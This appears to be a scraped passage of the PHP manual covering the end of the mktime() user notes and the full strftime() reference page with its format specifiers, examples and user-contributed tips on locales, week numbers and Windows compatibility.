PHPcoder at freemail dot ig3 dot net 06-Sep-2007 10:58
The maximum possible date accepted by mktime() and gmmktime() is dependent on the current location time zone.

For example, the 32-bit timestamp overflow occurs at 2038-01-19T03:14:08+0000Z.  But if you're in a UTC -0500 time zone (such as EST in North America), the maximum accepted time before overflow (for older PHP versions on Windows) is 2038-01-18T22:14:07-0500Z, regardless of whether you're passing it to mktime() or gmmktime().
Jonathan Woodard 31-Aug-2007 07:31
NB: one 'gotcha' with the implementation of mktime()'s parameters:

<?php
for( $i = 1 ;  $i <= 12 ; $i++ )
{
    echo "Month '$i' is: " . date( "F" , mktime( 0 , 0 , 0 , $i ) ) . "\n";
}
?>
Will output:
Month '1' is: January
Month '2' is: March
Month '3' is: March
Month '4' is: May
Month '5' is: May
Month '6' is: July
Month '7' is: July
Month '8' is: August
Month '9' is: October
Month '10' is: October
Month '11' is: December
Month '12' is: December
on the 31st day of every month.

Why? Because the 5th parameter "day" defaults to "right now," which will not work reliably for days after the 28th.

To make sure this doesn't happen, specify the first day of the month:
<?php
mktime( 0 , 0 , 0 , $i , 1 )
?>
rlz 16-Jul-2007 09:52
Finding out the number of days in a given month and year, accounting for leap years when February has more than 28 days.

<?php
function days_in_month($year, $month) {
    return( date( "t", mktime( 0, 0, 0, $month, 1, $year) ) );
}
?>

Hope it helps a soul out there.
mike at mike-griffiths dot co dot uk 11-Jul-2007 06:04
It may be useful to note that no E_WARNINGS or E_NOTICES are give if you specify a date <1901 or >2038 on systems where time_t is a 32bit signed integer.

If a date is specified outside of the allowed range you may get some unexpected results as no timestamp will be returned.
rga at merchantpal dot com 31-Mar-2007 08:46
You cannot simply subtract or add month VARs using mktime to obtain previous or next months as suggested in previous user comments (at least not with a DD > 28 anyway).

If the date is 03-31-2007, the following yeilds March as a previous month. Not what you wanted.

<?php
$dateMinusOneMonth = mktime(0, 0, 0, (3-1), 31,  2007 );
$lastmonth = date("n | F", $dateMinusOneMonth);
echo $lastmonth;    //---> 3 | March
?>

mktime correctly gives you back the 3rd of March if you subtract 1 month from March 31 (there are only 28 days in Feb 07).

If you are just looking to do month and year arithmetic using mktime, you can use general days like 1 or 28 to do stuff like this:

<?php
$d_daysinmonth = date('t', mktime(0,0,0,$myMonth,1,$myYear));     // how many days in month
$d_year = date('Y', mktime(0,0,0,$myMonth,1,$myYear));        // year
$d_isleapyear = date('L', mktime(0,0,0,$myMonth,1,$myYear));    // is YYYY a leapyear?

$d_firstdow = date('w', mktime(0,0,0,$myMonth,'1',$myYear));     // FIRST falls on what day of week (0-6)
$d_firstname = date('l', mktime(0,0,0,$myMonth,'1',$myYear));     // FIRST falls on what day of week Full Name

$d_month = date('n', mktime(0,0,0,$myMonth,28,$myYear));         // month of year (1-12)
$d_monthname = date('F', mktime(0,0,0,$myMonth,28,$myYear));         // Month Long name (July)
$d_month_previous = date('n', mktime(0,0,0,($myMonth-1),28,$myYear));         // PREVIOUS month of year (1-12)
$d_monthname_previous = date('F', mktime(0,0,0,($myMonth-1),28,$myYear));     // PREVIOUS Month Long name (July)
$d_month_next = date('n', mktime(0,0,0,($myMonth+1),28,$myYear));         // NEXT month of year (1-12)
$d_monthname_next = date('F', mktime(0,0,0,($myMonth+1),28,$myYear));         // NEXT Month Long name (July)
$d_year_previous = date('Y', mktime(0,0,0,$myMonth,28,($myYear-1)));        // PREVIOUS year
$d_year_next = date('Y', mktime(0,0,0,$myMonth,28,($myYear+1)));        // NEXT year

$d_weeksleft = (52 - $d_weekofyear);                     // how many weeks left in year
$d_daysinyear = $d_isleapyear ? 366 : 365;                // set correct days in year for leap years
$d_daysleft = ($d_daysinyear - $d_dayofyear);                // how many days left in year
?>
Stephen 08-Jan-2007 02:43
There are several warnings here about using mktime() to determine a date difference because of daylight savings time. However, nobody seems to have mentioned the other obvious problem, which is leap years.

Leap years mean that any effort to use mktime() and time() to determine the age (positive or negative) of some timestamp in years will be flawed. There are some years that are 366 days long, therefore you cannot say that there is a set number of seconds per year.

Timestamps are good for determining *real* time, which is not the same thing as *human calendar* time. The Gregorian calendar is only an approximation of real time, which is tweaked with daylight savings time and leap years to make it conform more to humans' expectations of how time should or ought to work. Timestamps are not tweaked and therefore are the only authoritative way of recording in computers a proper order of succession of events, but they cannot be integrated with a Gregorian system unless you take both leap years and DST into account. Otherwise, you may get the wrong number of years when you are approaching a value of exactly X years.

As for PHP, you could still use timestamps as a way of determining age if you took into account not only DST but also whether or not each year is a leap year and adjusted your calculations accordingly. However, this could become messy and inefficient.

There is an alternative approach to calculating days given the day, month and year of the dates to be compared. Compare the years first, and then compare the month and day - if the month and day have already passed (or, if you like, if they match the current month and day), then add 1 to the total for the years.

This solution works because it stays within the Gregorian system and doesn't venture into the world of timestamps.

There is also the issue of leap seconds, but this will only arise if you literally need to get the *exact* age in seconds. In that case, of course, you would also need to verify that your timestamps are exactly correct and are not delayed by script processing time, plus you would need to determine whether your system conforms to UTC, etc. I expect this will hardly be an issue for anybody using PHP, however if you are interested there is an article on this issue on Wikipedia:

http://en.wikipedia.org/wiki/Leap_second
jsebfranck 07-Nov-2006 04:42
There are several notes for mktime which use the number 86400 to differentiate two days. However this technique may pose a problem in case there is a day where the hour change between the two dates to compare.

Consequently, if you want the timestamp difference between the day where the hour change and the next day, it will not be equals to 86400 but either 82800 in case its the winter change of hour day or 90000 for the summer change of hour day.

For example in 2006 :

<?php
echo mktime(0,0,0,10,29,2006) - mktime(0,0,0,10,30,2006); // -90 000
?>
carlo dot tafuro at poste dot it 08-May-2006 04:40
Negative timestamps give problem also using linux as guest operating system inside WMvare with Windows host operating system.
colin dot horne at gmail dot com 30-Mar-2005 10:48
If the month is greater than 12, it goes into the next year. If it is less than 1, it goes into the previous year. Generally, it behaves as you'd expect it to :-)

Examples:

<?php

// January 1, 2005
print date ("F j, Y", mktime (0,0,0,13,1,2004));

// December 1, 2003
print date ("F j, Y", mktime (0,0,0,0,1,2004));

// February 1, 2005
print date ("F j, Y", mktime (0,0,0,14,1,2004));

// November 1, 2003
print date ("F j, Y", mktime (0,0,0,-1,1,2004));

?>
Romain Sam 25-Mar-2005 07:50
Under Windows, mktime goes until 2038-01-19 (03:14:07 ...)
praas at NOSPAM dot ision dot nl 01-Feb-2004 12:44
Consider skipping months with mktime().

$nextmonth = date("M",mktime(0,0,0,date("n")+1,date("j"),date("Y")));

On any day in Januari you expect to get Feb, right?
But on January 30th you'll get Mar. It will try Feb 30th, which doesn't exist, and skips another month. Therefore in this case present a day value that will certainly be legal in any month, like day "1".

This will give you next month on any day of the year:
$nextmonth = date("M",mktime(0,0,0,date("n")+1,1,date("Y")));
iain at seatofthepants dot net 08-Dec-2003 07:49
In the above example it should ne boted that if you try to calculate the command at midnight on the 28/04/2004 you will get an erroneous response. This has been driving me to distraction.

$myTime = mktime( 0, 0, 0, 3, 28, 2004);

Solution I found was to create the time at 3am well after the 2am daylight savings problem, viz:

$myTime = mktime( 3, 0, 0, 3, 28, 2004);

Not sure if this is documented anywhere.
trahma 20-Nov-2003 12:06
I think it is important to note that the timestamp returned is based upon the number of seconds from the epoch GMT, and then modified by the time zone settings on the server.

Thus...

mktime(0,0,0,1,1,1970) will not always return 0.  For example with the US eastern time zone (GMT-5) will return 18000 (5 hours past the epoch) and the same function with the time zone set to the US pacific time zone (GMT-8) will return 28800 (8 hours past the epoch).

In an instance where you want time zone independence, you should use the function gmmktime()
laurie at oneuponedown dot com 18-Nov-2003 08:42
With regard to Example 1 and using mktime to correct out-of-range input.

It should be noted that mktime will implement day light saving amends. Consider the following:

<?php
print(date("d/m/Y H:i:s",mktime(0,0,0,3,(27 + 1),2004)));
?>
OUTPUT "28/03/2004 02:00:00"

<?php
print(date("d/m/Y H:i:s",(mktime(0,0,0,3,27,2004) + (((1 * 24) * 60) * 60))));
?>
OUTPUT "28/03/2004 00:00:00"

Dependent on your requirements this may or may be desirable
microtime
strftime
Date/Time Functions


Format a local time/date according to locale settings

mktime
strptime
Date/Time Functions
PHP Manual

strftime

(PHP 4, PHP 5)

strftime — Format a local time/date according to locale settings

Description

string strftime ( string $format [, int $timestamp = time() ] )

Format the time and/or date according to locale settings. Month and weekday names and other language-dependent strings respect the current locale set with setlocale().

Not all conversion specifiers may be supported by your C library, in which case they will not be supported by PHP's strftime(). Additionally, not all platforms support negative timestamps, so your date range may be limited to no earlier than the Unix epoch. This means that %e, %T, %R and, %D (and possibly others) - as well as dates prior to Jan 1, 1970 - will not work on Windows, some Linux distributions, and a few other operating systems. For Windows systems, a complete overview of supported conversion specifiers can be found at » MSDN.

Parameters

format

The following characters are recognized in the format parameter string
format | Description | Example returned values
Day --- ---
%a | An abbreviated textual representation of the day | Sun through Sat
%A | A full textual representation of the day | Sunday through Saturday
%d | Two-digit day of the month (with leading zeros) | 01 to 31
%e | Day of the month, with a space preceding single digits. Not implemented as described on Windows. See below for more information. | 1 to 31
%j | Day of the year, 3 digits with leading zeros | 001 to 366
%u | ISO-8601 numeric representation of the day of the week | 1 (for Monday) though 7 (for Sunday)
%w | Numeric representation of the day of the week | 0 (for Sunday) through 6 (for Saturday)
Week --- ---
%U | Week number of the given year, starting with the first Sunday as the first week | 13 (for the 13th full week of the year)
%V | ISO-8601:1988 week number of the given year, starting with the first week of the year with at least 4 weekdays, with Monday being the start of the week | 01 through 53 (where 53 accounts for an overlapping week)
%W | A numeric representation of the week of the year, starting with the first Monday as the first week | 46 (for the 46th week of the year beginning with a Monday)
Month --- ---
%b | Abbreviated month name, based on the locale | Jan through Dec
%B | Full month name, based on the locale | January through December
%h | Abbreviated month name, based on the locale (an alias of %b) | Jan through Dec
%m | Two digit representation of the month | 01 (for January) through 12 (for December)
Year --- ---
%C | Two digit representation of the century (year divided by 100, truncated to an integer) | 19 for the 20th Century
%g | Two digit representation of the year going by ISO-8601:1988 standards (see %V) | Example: 09 for the week of January 6, 2009
%G | The full four-digit version of %g | Example: 2008 for the week of January 3, 2009
%y | Two digit representation of the year | Example: 09 for 2009, 79 for 1979
%Y | Four digit representation for the year | Example: 2038
Time --- ---
%H | Two digit representation of the hour in 24-hour format | 00 through 23
%I | Two digit representation of the hour in 12-hour format | 01 through 12
%l (lower-case 'L') | Hour in 12-hour format, with a space preceeding single digits | 1 through 12
%M | Two digit representation of the minute | 00 through 59
%p | UPPER-CASE 'AM' or 'PM' based on the given time | Example: AM for 00:31, PM for 22:23
%P | lower-case 'am' or 'pm' based on the given time | Example: am for 00:31, pm for 22:23
%r | Same as "%I:%M:%S %p" | Example: 09:34:17 PM for 21:34:17
%R | Same as "%H:%M" | Example: 00:35 for 12:35 AM, 16:44 for 4:44 PM
%S | Two digit representation of the second | 00 through 59
%T | Same as "%H:%M:%S" | Example: 21:34:17 for 09:34:17 PM
%X | Preferred time representation based on locale, without the date | Example: 03:59:16 or 15:59:16
%z | Either the time zone offset from UTC or the abbreviation (depends on operating system) | Example: -0500 or EST for Eastern Time
%Z | The time zone offset/abbreviation option NOT given by %z (depends on operating system) | Example: -0500 or EST for Eastern Time
Time and Date Stamps --- ---
%c | Preferred date and time stamp based on local | Example: Tue Feb 5 00:45:10 2009 for February 5, 2009 at 12:45:10 AM
%D | Same as "%m/%d/%y" | Example: 02/05/09 for February 5, 2009
%F | Same as "%Y-%m-%d" (commonly used in database datestamps) | Example: 2009-02-05 for February 5, 2009
%s | Unix Epoch Time timestamp (same as the time() function) | Example: 305815200 for September 10, 1979 08:40:00 AM
%x | Preferred date representation based on locale, without the time | Example: 02/05/09 for February 5, 2009
Miscellaneous --- ---
%n A newline character ("\n") ---
%t A Tab character ("\t") ---
%% A literal percentage character ("%") ---

Maximum length of this parameter is 1023 characters.

Warning

Contrary to ISO-9899:1999, Sun Solaris starts with Sunday as 1. As a result, %u may not function as described in this manual.

Warning

Windows only: The %e modifier is not supported in the Windows implementation of this function. To achieve this value, the %#d modifier can be used instead. The example below illustrates how to write a cross platform compatible function.

Warning

Mac OS X only: The %P modifier is not supported in the Mac OS X implementation of this function.

timestamp

The optional timestamp parameter is an integer Unix timestamp that defaults to the current local time if a timestamp is not given. In other words, it defaults to the value of time().

Return Values

Returns a string formatted according format using the given timestamp or the current local time if no timestamp is given. Month and weekday names and other language-dependent strings respect the current locale set with setlocale().

Errors/Exceptions

Every call to a date/time function will generate a E_NOTICE if the time zone is not valid, and/or a E_STRICT or E_WARNING message if using the system settings or the TZ environment variable. See also date_default_timezone_set()

As the output is dependent upon the underlying C library, some conversion specifiers are not supported. On Windows, supplying unknown conversion specifiers will result in 5 E_WARNING messages and return FALSE. On other operating systems you may not get any E_WARNING messages and the output may contain the conversion specifiers unconverted.

Changelog

Version | Description
5.1.0 | Now issues the E_STRICT and E_NOTICE time zone errors.

Examples

This example will work if you have the respective locales installed in your system.

Example #1 strftime() locale examples

<?php
setlocale(LC_TIME, "C");
echo strftime("%A");
setlocale(LC_TIME, "fi_FI");
echo strftime(" in Finnish is %A,");
setlocale(LC_TIME, "fr_FR");
echo strftime(" in French %A and");
setlocale(LC_TIME, "de_DE");
echo strftime(" in German %A.\n");
?>

Example #2 ISO 8601:1988 week number example

<?php
/*     December 2002 / January 2003
ISOWk  M   Tu  W   Thu F   Sa  Su
----- ----------------------------
51     16  17  18  19  20  21  22
52     23  24  25  26  27  28  29
1      30  31   1   2   3   4   5
2       6   7   8   9  10  11  12
3      13  14  15  16  17  18  19   */

// Outputs: 12/28/2002 - %V,%G,%Y = 52,2002,2002
echo "12/28/2002 - %V,%G,%Y = " . strftime("%V,%G,%Y", strtotime("12/28/2002")) . "\n";

// Outputs: 12/30/2002 - %V,%G,%Y = 1,2003,2002
echo "12/30/2002 - %V,%G,%Y = " . strftime("%V,%G,%Y", strtotime("12/30/2002")) . "\n";

// Outputs: 1/3/2003 - %V,%G,%Y = 1,2003,2003
echo "1/3/2003 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/3/2003")) . "\n";

// Outputs: 1/10/2003 - %V,%G,%Y = 2,2003,2003
echo "1/10/2003 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/10/2003")) . "\n";

/*     December 2004 / January 2005
ISOWk  M   Tu  W   Thu F   Sa  Su
----- ----------------------------
51     13  14  15  16  17  18  19
52     20  21  22  23  24  25  26
53     27  28  29  30  31   1   2
1       3   4   5   6   7   8   9
2      10  11  12  13  14  15  16   */

// Outputs: 12/23/2004 - %V,%G,%Y = 52,2004,2004
echo "12/23/2004 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("12/23/2004")) . "\n";

// Outputs: 12/31/2004 - %V,%G,%Y = 53,2004,2004
echo "12/31/2004 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("12/31/2004")) . "\n";

// Outputs: 1/2/2005 - %V,%G,%Y = 53,2004,2005
echo "1/2/2005 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/2/2005")) . "\n";

// Outputs: 1/3/2005 - %V,%G,%Y = 1,2005,2005
echo "1/3/2005 - %V,%G,%Y = " . strftime("%V,%G,%Y",strtotime("1/3/2005")) . "\n";

?>

Example #3 Cross platform compatible example using the %e modifier

<?php

// Jan 1: results in: '%e%1%' (%%, e, %%, %e, %%)
$format = '%%e%%%e%%';

// Check for Windows to find and replace the %e
// modifier correctly
if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
    $format = preg_replace('#(?<!%)((?:%%)*)%e#', '\1%#d', $format);
}

echo strftime($format);
?>

Example #4 Display all known and unknown formats.

<?php
// Describe the formats.
$strftimeFormats = array(
    'A' => 'A full textual representation of the day',
    'B' => 'Full month name, based on the locale',
    'C' => 'Two digit representation of the century (year divided by 100, truncated to an integer)',
    'D' => 'Same as "%m/%d/%y"',
    'E' => '',
    'F' => 'Same as "%Y-%m-%d"',
    'G' => 'The full four-digit version of %g',
    'H' => 'Two digit representation of the hour in 24-hour format',
    'I' => 'Two digit representation of the hour in 12-hour format',
    'J' => '',
    'K' => '',
    'L' => '',
    'M' => 'Two digit representation of the minute',
    'N' => '',
    'O' => '',
    'P' => 'lower-case "am" or "pm" based on the given time',
    'Q' => '',
    'R' => 'Same as "%H:%M"',
    'S' => 'Two digit representation of the second',
    'T' => 'Same as "%H:%M:%S"',
    'U' => 'Week number of the given year, starting with the first Sunday as the first week',
    'V' => 'ISO-8601:1988 week number of the given year, starting with the first week of the year with at least 4 weekdays, with Monday being the start of the week',
    'W' => 'A numeric representation of the week of the year, starting with the first Monday as the first week',
    'X' => 'Preferred time representation based on locale, without the date',
    'Y' => 'Four digit representation for the year',
    'Z' => 'The time zone offset/abbreviation option NOT given by %z (depends on operating system)',
    'a' => 'An abbreviated textual representation of the day',
    'b' => 'Abbreviated month name, based on the locale',
    'c' => 'Preferred date and time stamp based on local',
    'd' => 'Two-digit day of the month (with leading zeros)',
    'e' => 'Day of the month, with a space preceding single digits',
    'f' => '',
    'g' => 'Two digit representation of the year going by ISO-8601:1988 standards (see %V)',
    'h' => 'Abbreviated month name, based on the locale (an alias of %b)',
    'i' => '',
    'j' => 'Day of the year, 3 digits with leading zeros',
    'k' => '',
    'l' => 'Hour in 12-hour format, with a space preceeding single digits',
    'm' => 'Two digit representation of the month',
    'n' => 'A newline character ("\n")',
    'o' => '',
    'p' => 'UPPER-CASE "AM" or "PM" based on the given time',
    'q' => '',
    'r' => 'Same as "%I:%M:%S %p"',
    's' => 'Unix Epoch Time timestamp',
    't' => 'A Tab character ("\t")',
    'u' => 'ISO-8601 numeric representation of the day of the week',
    'v' => '',
    'w' => 'Numeric representation of the day of the week',
    'x' => 'Preferred date representation based on locale, without the time',
    'y' => 'Two digit representation of the year',
    'z' => 'Either the time zone offset from UTC or the abbreviation (depends on operating system)',
    '%' => 'A literal percentage character ("%")',
);

// Results.
$strftimeValues = array();

// Evaluate the formats whilst suppressing any errors.
foreach($strftimeFormats as $format => $description){
    if (False !== ($value = @strftime("%{$format}"))){
        $strftimeValues[$format] = $value;
    }
}

// Find the longest value.
$maxValueLength = 2 + max(array_map('strlen', $strftimeValues));

// Report known formats.
foreach($strftimeValues as $format => $value){
    echo "Known format   : '{$format}' = ", str_pad("'{$value}'", $maxValueLength), " ( {$strftimeFormats[$format]} )\n";
}

// Report unknown formats.
foreach(array_diff_key($strftimeFormats, $strftimeValues) as $format => $description){
    echo "Unknown format : '{$format}'   ", str_pad(' ', $maxValueLength), ($description ? " ( {$description} )" : ''), "\n";
}
?>

The above example will output something similar to:

Known format   : 'A' = 'Friday'            ( A full textual representation of the day )
Known format   : 'B' = 'December'          ( Full month name, based on the locale )
Known format   : 'H' = '11'                ( Two digit representation of the hour in 24-hour format )
Known format   : 'I' = '11'                ( Two digit representation of the hour in 12-hour format )
Known format   : 'M' = '24'                ( Two digit representation of the minute )
Known format   : 'S' = '44'                ( Two digit representation of the second )
Known format   : 'U' = '48'                ( Week number of the given year, starting with the first Sunday as the first week )
Known format   : 'W' = '48'                ( A numeric representation of the week of the year, starting with the first Monday as the first week )
Known format   : 'X' = '11:24:44'          ( Preferred time representation based on locale, without the date )
Known format   : 'Y' = '2010'              ( Four digit representation for the year )
Known format   : 'Z' = 'GMT Standard Time' ( The time zone offset/abbreviation option NOT given by %z (depends on operating system) )
Known format   : 'a' = 'Fri'               ( An abbreviated textual representation of the day )
Known format   : 'b' = 'Dec'               ( Abbreviated month name, based on the locale )
Known format   : 'c' = '12/03/10 11:24:44' ( Preferred date and time stamp based on local )
Known format   : 'd' = '03'                ( Two-digit day of the month (with leading zeros) )
Known format   : 'j' = '337'               ( Day of the year, 3 digits with leading zeros )
Known format   : 'm' = '12'                ( Two digit representation of the month )
Known format   : 'p' = 'AM'                ( UPPER-CASE "AM" or "PM" based on the given time )
Known format   : 'w' = '5'                 ( Numeric representation of the day of the week )
Known format   : 'x' = '12/03/10'          ( Preferred date representation based on locale, without the time )
Known format   : 'y' = '10'                ( Two digit representation of the year )
Known format   : 'z' = 'GMT Standard Time' ( Either the time zone offset from UTC or the abbreviation (depends on operating system) )
Known format   : '%' = '%'                 ( A literal percentage character ("%") )
Unknown format : 'C'                       ( Two digit representation of the century (year divided by 100, truncated to an integer) )
Unknown format : 'D'                       ( Same as "%m/%d/%y" )
Unknown format : 'E'
Unknown format : 'F'                       ( Same as "%Y-%m-%d" )
Unknown format : 'G'                       ( The full four-digit version of %g )
Unknown format : 'J'
Unknown format : 'K'
Unknown format : 'L'
Unknown format : 'N'
Unknown format : 'O'
Unknown format : 'P'                       ( lower-case "am" or "pm" based on the given time )
Unknown format : 'Q'
Unknown format : 'R'                       ( Same as "%H:%M" )
Unknown format : 'T'                       ( Same as "%H:%M:%S" )
Unknown format : 'V'                       ( ISO-8601:1988 week number of the given year, starting with the first week of the year with at least 4 weekdays, with Monday being the start of the week )
Unknown format : 'e'                       ( Day of the month, with a space preceding single digits )
Unknown format : 'f'
Unknown format : 'g'                       ( Two digit representation of the year going by ISO-8601:1988 standards (see %V) )
Unknown format : 'h'                       ( Abbreviated month name, based on the locale (an alias of %b) )
Unknown format : 'i'
Unknown format : 'k'
Unknown format : 'l'                       ( Hour in 12-hour format, with a space preceeding single digits )
Unknown format : 'n'                       ( A newline character ("\n") )
Unknown format : 'o'
Unknown format : 'q'
Unknown format : 'r'                       ( Same as "%I:%M:%S %p" )
Unknown format : 's'                       ( Unix Epoch Time timestamp )
Unknown format : 't'                       ( A Tab character ("\t") )
Unknown format : 'u'                       ( ISO-8601 numeric representation of the day of the week )
Unknown format : 'v'

Notes

Note: %G and %V, which are based on ISO 8601:1988 week numbers can give unexpected (albeit correct) results if the numbering system is not thoroughly understood. See %V examples in this manual page.

See Also

  • » Online strftime() format design tool
  • setlocale() - Set locale information
  • mktime() - Get Unix timestamp for a date
  • strptime() - Parse a time/date generated with strftime
  • gmstrftime() - Format a GMT/UTC time/date according to locale settings
  • » Open Group specification of strftime()

User Contributed Notes

Chris 12-Aug-2011 01:37
Sometimes, you want Jan 1 to be week 1 and weeks to begin on Sunday. Here's a way to use strftime U format character to follow this convention:
<?php
$month = 5; $year = 2012; echo "Week #'s in May 2012: ";
$week_num_correction = strftime('%U', mktime(0,0,0,1,1,$year)) === '00' ? 1 : 0;
$week_numbers = range(strftime('%U', mktime(0,0,0,$month,1,$year)) + $week_num_correction, strftime('%U', mktime(0,0,0,$month+1,0,$year)) + $week_num_correction);
foreach($week_numbers as $week_number) echo "$week_number ";
?>
displays: Week #'s in May 2012: 18 19 20 21 22
fmaz008 at gmail dot com 09-Aug-2011 12:50
The example of the workarround for the %e modifier is a bit complex. Sometime you might want to prefer a simple ltrim():

<?php
ltrim(strftime('%d', $time), '0');
?>
dgudgeon at example dot com 14-Jul-2011 05:04
If moving from date() to strftime() to support additional languages, you may miss the ordinal suffix format option date('S'). Workaround this by adding an extra modifier (%O).

<?php
function my_strftime ($format, $timestamp)
{
    $format = str_replace('%O', date('S', $timestamp), $format);
    return strftime($format, $timestamp);
}
?>
Bondas Timotei 19-May-2011 04:41
If strange characters are returned use utf8_encode(strftime()) for UTF-8 characters
ciprianmp at yahoo dot com 13-Feb-2011 01:04
This worked for me to distinguish between windows and linux, for stripping leading zeros from days/months in the short formats (like for Czech):
stristr(PHP_OS,"win") ? "%#d.%#m.%Y" : "%-d.%-m.%Y"
Anonymous 12-Oct-2010 12:04
%V may fail with some systems (Windows XP, at least). Here is a function that should work to get the week number of a day (timestamped), according to ISO 8601.

"should work" as in "it is working with my understanding of this norm", where 1st of january can be week 52, 53 or 01. Hopefully.

testing (php_uname("s") == "Windows NT") or equivalent can be an option (when switching between Wampserver and a GNU server, for instance).

Please, erase and correct my message if there is any error.

<?php
function week_isonumber ($time) {
// When strftime("%V") fails, some unoptimized workaround
//
// http://en.wikipedia.org/wiki/ISO_8601 : week 1 is "the week with the year's first Thursday in it (the formal ISO definition)"

    $year = strftime("%Y", $time);

    $first_day = strftime("%w", mktime(0, 0, 0, 1, 1, $year));
    $last_day = strftime("%w", mktime(0, 0, 0, 12, 31, $year));

    $number = $isonumber = strftime("%W", $time);

    // According to strftime("%W"), 1st of january is in week 1 if and only if it is a monday
    if ($first_day == 1)
        $isonumber--;

    // 1st of january is between monday and thursday; starting (now) at 0 when it should be 1
    if ($first_day >= 1 && $first_day <= 4)
        $isonumber++;
    else if ($number == 0)
        $isonumber = week_isonumber(mktime(0, 0, 0, 12, 31, $year - 1));

    if ($isonumber == 53 && ($last_day == 1 || $last_day == 2 || $last_day == 3))
        $isonumber = 1;

    return sprintf("%02d", $isonumber);
}
?>
Lemmi 09-Jun-2010 05:57
Why not use utf8_encode to fix problems with letters in ISO-8859-1 and charset set to UTF-8?

For example:
<?php

setlocale(LC_TIME, "de_DE");
echo utf8_encode(strftime('%B')); // Output e.g.: März

?>
cyrille37 at gmail dot com 05-May-2010 05:12
The format "%e" does not work on Windows.
There is a bug entry : http://bugs.php.net/bug.php?id=45847

It's because strftime is not portable, it use the operating system function.
For Win32, to get more documentation we have to consult the Windows "Run-Time Library Reference" for strftime :
http://msdn.microsoft.com/en-us/library/fe06s4ak%28VS.71%29.aspx

And we can find the solution:
  replace "%e" by "%#d"
the "#" remove leading zeros (if any).

Cyrille
baptiste dot place at utopiaweb dot fr 26-Feb-2010 04:54
Created this small method to convert a date format to a strftime format. One format is enough to learn :)

<?php
/**
 * Convert a date format to a strftime format
 *
 * Timezone conversion is done for unix. Windows users must exchange %z and %Z.
 *
 * Unsupported date formats : S, n, t, L, B, G, u, e, I, P, Z, c, r
 * Unsupported strftime formats : %U, %W, %C, %g, %r, %R, %T, %X, %c, %D, %F, %x
 *
 * @param string $dateFormat a date format
 * @return string
 */
public static function dateFormatToStrftime($dateFormat) {

    $caracs = array(
        // Day - no strf eq : S
        'd' => '%d', 'D' => '%a', 'j' => '%e', 'l' => '%A', 'N' => '%u', 'w' => '%w', 'z' => '%j',
        // Week - no date eq : %U, %W
        'W' => '%V',
        // Month - no strf eq : n, t
        'F' => '%B', 'm' => '%m', 'M' => '%b',
        // Year - no strf eq : L; no date eq : %C, %g
        'o' => '%G', 'Y' => '%Y', 'y' => '%y',
        // Time - no strf eq : B, G, u; no date eq : %r, %R, %T, %X
        'a' => '%P', 'A' => '%p', 'g' => '%l', 'h' => '%I', 'H' => '%H', 'i' => '%M', 's' => '%S',
        // Timezone - no strf eq : e, I, P, Z
        'O' => '%z', 'T' => '%Z',
        // Full Date / Time - no strf eq : c, r; no date eq : %c, %D, %F, %x
        'U' => '%s'
    );

    return strtr((string)$dateFormat, $caracs);
}
?>

I use it with this condition on a date format :
if(preg_match("/(D|l|F|M)/", $format))
sasha at goldnet dot ca 09-Jan-2010 06:54
You can remove leading "0" from %m (two digit representation of the month) by using "-".
%-m  => Month of the year (1 to 12) without leading zero
Chad 11-Nov-2009 05:50
On the Linux server I'm using, strftime() also accepts a "-" option to request no padding:

<?php
$ts = strtotime("4 Nov 2009");
echo strlen(strftime("%-e", $ts)), "\n"; // "1" (no padding)
echo strlen(strftime("%e", $ts)), "\n"; // "2" (space padded)
?>
szilagyigabor at yahoo dot com 02-Nov-2009 11:43
This is that worked with UTF-8 encoding on Linux server, with right accents:
<?php
setlocale(LC_ALL, 'hu_HU.UTF8');
echo(strftime('%Y. %B %d. %A'));
?>

Output is:
2009. november 02. hétfő

Also, this one can be used, if not utf-8 preferred:
<?php
setlocale(LC_ALL, 'hu_HU.ISO8859-2');
?>

UTF-8 is not supported on windows platforms, so there the iconv workaround must be used:
<?php
setlocale(LC_ALL, 'hun_hun');
echo(iconv('ISO-8859-2', 'UTF-8',strftime('%Y. %B %d. %A')));
?>

The output is the same as before. Note that, the iconv first parameter is ISO-8859-2 not ISO-8859-1, because the locale is hungarian which uses 8859-2 codepage as default. It is needed for the right accents.

If you want use the same code for Windows and Linux platforms, the second one is the right option (the iconv trick), but the locale configuration must be different (Linux: hu_HU, windows: hun_hun), but in that case the UTF8 tag is not needed for the Linux config.
jjarsater at gmail dot com 20-May-2009 07:01
<?php
// Date string
$timestamp     =     strftime("%Y-%m-%d %H:%M:%S %Y");

// From this string ($timestamp) can we print
echo strftime("%a %d %b %H:%M:%S %Y", strtotime($timestamp))."<br/>";
echo strftime("%a %d %b %H:%M", strtotime($timestamp))."<br/>";
echo strftime("%Y-%m-%d %H:%M:%S", strtotime($timestamp))."<br/>";
echo strftime("%Y-%m-%d %H:%M", strtotime($timestamp))."<br/>";
echo strftime("%Y-%m-%d", strtotime($timestamp))."<br/>";
echo strftime("%a %d %b %Y", strtotime($timestamp))."<br/>";

/*And it will output

Wed 20 May 15:53:40 2009
Wed 20 May 15:53
2009-05-20 15:53:40
2009-05-20 15:53
2009-05-20
Wed 20 May 2009

*/
?>
Michael Z. 18-May-2009 03:12
This is so simple it has to be found in one of all the comments on all those different time functions. But since I didn't find it, here it is: Use this to convert between different time formats:

<?PHP
if (!function_exists('convertTime')) {
  /** Converts time strings from one format into another using
   *  PHP formats.
   *
   *  @param String $dformat Format to convert to
   *  @param String $sformat Format to convert from, e.g. format
   *      of $ts
   *  @param String $ts Time string to be converted
   *  @return String Supplied time translated to the format specified
   *    in $dformat
   */
  function convertTime($dformat,$sformat,$ts) {
    extract(strptime($ts,$sformat));
    return strftime($dformat,mktime(
                                  intval($tm_hour),
                                  intval($tm_min),
                                  intval($tm_sec),
                                  intval($tm_mon)+1,
                                  intval($tm_mday),
                                  intval($tm_year)+1900
                                ));
  }
}

/*
 * And for the test....
 */
echo convertTime('%Y-%m-%d','%d.%m.%Y','27.11.2009');
?>

This should print "2009-27-11".

I did not put much effort in this code. The task also seems "too simple to be neccessary". But as I said, I didn't find anything to help me with this.

Cheers,

Michael Z
dapikk[at]gmail[dot]com 16-Mar-2009 02:21
I had a need to subtrackt an older time from current time to get the time between.
